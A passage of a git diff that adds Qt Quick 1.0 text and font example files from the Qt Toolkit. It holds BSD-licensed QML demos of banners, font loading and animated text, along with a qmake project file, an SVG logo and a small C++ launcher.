+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ property int pixelSize: screen.height * 1.25
+ property color textColor: "lightsteelblue"
+ property string text: "Hello world! "
+
+ width: 640; height: 320
+ color: "steelblue"
+
+ Row {
+ y: -screen.height / 4.5
+
+ NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite }
+ Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ }
+}
diff --git a/examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts.qml b/examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts.qml
new file mode 100644
index 00000000..8d7a56e8
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts.qml
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ property string myText: "The quick brown fox jumps over the lazy dog."
+
+ width: 800; height: 480
+ color: "steelblue"
+
+ FontLoader { id: fixedFont; name: "Courier" }
+ FontLoader { id: localFont; source: "fonts/tarzeau_ocr_a.ttf" }
+ FontLoader { id: webFont; source: "http://www.princexml.com/fonts/steffmann/Starburst.ttf" }
+
+ Column {
+ anchors { fill: parent; leftMargin: 10; rightMargin: 10 }
+ spacing: 15
+
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font.family: "Times"; font.pointSize: 42
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: "Times"; pointSize: 42; capitalization: Font.AllUppercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font { family: fixedFont.name; pointSize: 42; weight: Font.Bold; capitalization: Font.AllLowercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font { family: fixedFont.name; pointSize: 42; italic: true; capitalization: Font.SmallCaps }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: localFont.name; pointSize: 42; capitalization: Font.Capitalize }
+ }
+ Text {
+ text: {
+ if (webFont.status == FontLoader.Ready) myText
+ else if (webFont.status == FontLoader.Loading) "Loading..."
+ else if (webFont.status == FontLoader.Error) "Error loading font"
+ }
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font.family: webFont.name; font.pointSize: 42
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts/tarzeau_ocr_a.ttf b/examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts/tarzeau_ocr_a.ttf
new file mode 100644
index 00000000..cf93f965
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts/tarzeau_ocr_a.ttf
Binary files differ
diff --git a/examples/declarative/text/fonts/fonts/qml/fonts-qml/hello.qml b/examples/declarative/text/fonts/fonts/qml/fonts-qml/hello.qml
new file mode 100644
index 00000000..7a6b2c2c
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/qml/fonts-qml/hello.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ width: 800; height: 480
+ color: "black"
+
+ Item {
+ id: container
+ x: screen.width / 2; y: screen.height / 2
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ color: "white"
+ text: "Hello world!"
+ font.pixelSize: 60
+ smooth: true
+
+ SequentialAnimation on font.letterSpacing {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 0; to: 150; easing.type: Easing.InQuad; duration: 3000 }
+ ScriptAction {
+ script: {
+ container.y = (screen.height / 4) + (Math.random() * screen.height / 2)
+ container.x = (screen.width / 4) + (Math.random() * screen.width / 2)
+ }
+ }
+ }
+
+ SequentialAnimation on opacity {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 1; to: 0; duration: 2600 }
+ PauseAnimation { duration: 400 }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/hello/hello.png b/examples/declarative/text/fonts/hello/hello.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/hello.png
Binary files differ
diff --git a/examples/declarative/text/fonts/hello/hello.pro b/examples/declarative/text/fonts/hello/hello.pro
new file mode 100644
index 00000000..6d65c8e7
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/hello.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/hello
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE4A6D856
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/text/fonts/hello
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/text/fonts/hello/hello.qmlproject b/examples/declarative/text/fonts/hello/hello.qmlproject
new file mode 100644
index 00000000..5d04713c
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/hello.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/hello"
+ }
+ JavaScriptFiles {
+ directory: "qml/hello"
+ }
+ ImageFiles {
+ directory: "qml/hello"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/fonts/hello/hello.svg b/examples/declarative/text/fonts/hello/hello.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/hello.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/text/fonts/hello/main.cpp b/examples/declarative/text/fonts/hello/main.cpp
new file mode 100644
index 00000000..fb2cee60
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/hello/hello.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/text/fonts/hello/qml/hello/availableFonts.qml b/examples/declarative/text/fonts/hello/qml/hello/availableFonts.qml
new file mode 100644
index 00000000..519d91b7
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/qml/hello/availableFonts.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 480; height: 640; color: "steelblue"
+
+ ListView {
+ anchors.fill: parent; model: Qt.fontFamilies()
+
+ delegate: Item {
+ height: 40; width: ListView.view.width
+ Text {
+ anchors.centerIn: parent
+ text: modelData; font.family: modelData; font.pixelSize: 24; color: "white"
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/hello/qml/hello/banner.qml b/examples/declarative/text/fonts/hello/qml/hello/banner.qml
new file mode 100644
index 00000000..7784b8b2
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/qml/hello/banner.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ property int pixelSize: screen.height * 1.25
+ property color textColor: "lightsteelblue"
+ property string text: "Hello world! "
+
+ width: 640; height: 320
+ color: "steelblue"
+
+ Row {
+ y: -screen.height / 4.5
+
+ NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite }
+ Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ }
+}
diff --git a/examples/declarative/text/fonts/hello/qml/hello/fonts.qml b/examples/declarative/text/fonts/hello/qml/hello/fonts.qml
new file mode 100644
index 00000000..8d7a56e8
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/qml/hello/fonts.qml
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
